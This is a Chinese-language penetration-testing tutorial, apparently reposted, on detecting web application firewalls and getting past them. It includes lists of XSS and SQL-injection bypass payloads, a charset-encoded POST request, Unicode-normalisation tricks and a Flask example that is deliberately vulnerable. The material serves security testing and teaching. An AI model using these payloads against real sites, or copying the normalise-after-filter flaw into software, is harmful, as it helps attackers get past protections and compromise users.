赞
踩
WAF 是一种网络安全解决方案,用于过滤和阻止恶意网络流量。常见的供应商包括 CloudFlare、AWS、Citrix、Akamai、Radware、Microsoft Azure 和 Barracuda。
根据防火墙使用的机制组合,绕过方法可能会有所不同。例如,WAF 可能使用正则表达式来检测恶意流量。正则表达式用于检测字符串中的模式。您可以在此处阅读有关它们的更多信息。WAF 还可以采用基于签名的检测,其中已知的恶意字符串被赋予存储在数据库中的签名,防火墙将根据数据库的内容检查 Web 流量的签名。如果匹配,则流量被阻止。此外,一些防火墙使用基于启发式的检测。
如前所述,WAF 通常会阻止明显的恶意流量。为了触发防火墙并验证其存在,可以向 Web 应用程序发出 HTTP 请求,并在 URL 中包含恶意查询,例如
https://example.com/?p4yl04d3=<script>alert(document.cookie)</script>
HTTP 响应可能与所访问网页的预期不同。WAF可能会返回其自己的网页,例如下面显示的网页或不同的状态代码,通常为 400s。
通过 Web 代理、cURL 或浏览器 DevTools 的“网络”选项卡,可以检测到防火墙的其他迹象:
标头中 WAF 的名称Server
(例如Server: cloudflare
)
与 WAF 关联的其他 HTTP 响应标头(例如CF-RAY: xxxxxxxxxxx
)
看似由 WAF 设置的 Cookie(例如响应标头Set-Cookie: __cfduid=xxxxx
)
提交恶意请求时的唯一响应代码。(例如412
)
除了设计恶意查询和评估响应之外,还可以通过FIN/RST
向服务器发送 TCP 数据包或实施边信道攻击来检测防火墙。例如,防火墙针对不同负载的时间可以提示正在使用的 WAF。
Nmap 脚本引擎 (NSE) 包括用于检测和指纹识别防火墙的脚本。可以在下面看到这些脚本的使用情况。
$ nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 21:43 PDT
Nmap scan report for example.com (xxx.xxx.xxx.xxx)
Host is up (0.20s latency).
PORT STATE SERVICE
443/tcp open https
| http-waf-detect: IDS/IPS/WAF detected:
|_example.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
Wafw00f 是一个命令行实用程序,可将通常标记的有效负载发送到给定的域名,并评估 Web 服务器的响应以在可能的情况下检测和识别防火墙。
$ wafw00f example.com
除了检测防火墙外,WhatWaf 还可以尝试通过利用篡改脚本和评估 Web 服务器对各种有效负载的响应来发现绕过。
WhatWaf 的结果与 Wafw00f 的结果一致。
本节将通过示例概述一些潜在的 WAF 绕过技术。
此方法适用于 WAF 和 Web 服务器完成的正则表达式过滤。在黑盒渗透测试期间,查找 WAF 使用的正则表达式可能不是一种选择。如果正则表达式可访问,本文将通过案例研究解释正则表达式绕过。
常见的绕过包括更改有效负载的大小写、使用各种编码、替换函数或字符、使用替代语法以及使用换行符或制表符。下面的示例演示了一些使用注释绕过正则表达式的方法。
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
虽然混淆是绕过正则表达式的一种可能方法,但它们已分为不同的部分,以更专门地展示一系列混淆技术。
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
此技术涉及修改Content-Type
标头以使用不同的字符集(例如ibm500
)。未配置为检测不同编码的恶意负载的 WAF 可能无法将请求识别为恶意请求。字符集编码可以在 Python 中完成
$ python3
-- snip --
>>> import urllib.parse
>>> s = '<script>alert("xss")</script>'
>>> urllib.parse.quote_plus(s.encode("IBM037" ))
'L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n '
然后可以在请求正文中发送编码后的字符串并上传到服务器。
POST /comment/post HTTP/1.1
Host: chatapp
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 74
%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3
在某些基于云的 WAF 中,如果负载超过特定大小,则不会检查请求。在这些情况下,可以通过增加请求正文或 URL 的大小来绕过防火墙。
Unicode 兼容性是一个概念,它描述了将视觉上不同的字符分解为相同的基本抽象字符。它是unicode 等价的一种形式。
例如,字符/
(U+FF0F) 和/
(U+002F) 是不同的,但在某些上下文中它们将具有相同的含义。共享含义允许字符彼此兼容,这意味着它们都可以转换为标准的正斜杠字符/
(U+002F),尽管它们最初是不同的字符。深入挖掘,/
(U+FF0F) 和/
(U+002F) 是否会以相同的正斜杠字符结尾取决于 Web 服务器对它们进行规范化或翻译的方式。
字符通常通过四种标准 Unicode 规范化算法之一进行规范化:
NFC:规范化形式规范组合
NFD:规范化形式规范分解
NFKC:规范化形式兼容性组合
NFKD:规范化形式相容性分解
特别是 NFKC 和 NFKD 会根据兼容性分解字符。这意味着在首先对用户输入进行清理,然后使用 NFKC 或 NFKD 规范化的 Web 服务器上,意外的兼容字符可以绕过 WAF 并在后端作为其规范等价物执行。这是 WAF 不期望 unicode 兼容字符的结果。
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
@app.route('/')
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
<img src=p onerror='prompt(1)'>
在防火墙可能检测到初始负载的情况下,使用 Unicode 兼容字符 ( <img src⁼p onerror⁼'prompt⁽1⁾'﹥
) 构造的负载将保持未检测到。
在经过清理后规范化输入的 Web 服务器可能容易通过 Unicode 兼容性绕过 WAF。
潜在的方法是在您的请求中使用未初始化的变量(例如),如本文$u
中所示。这在命令执行场景中是可能的,因为 Bash 将未初始化的变量视为空字符串。将空字符串与命令有效负载连接时,结果最终成为命令有效负载。
在易受命令注入攻击的系统上,在有效负载中插入未初始化的变量可以作为一种混淆形式,绕过防火墙。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。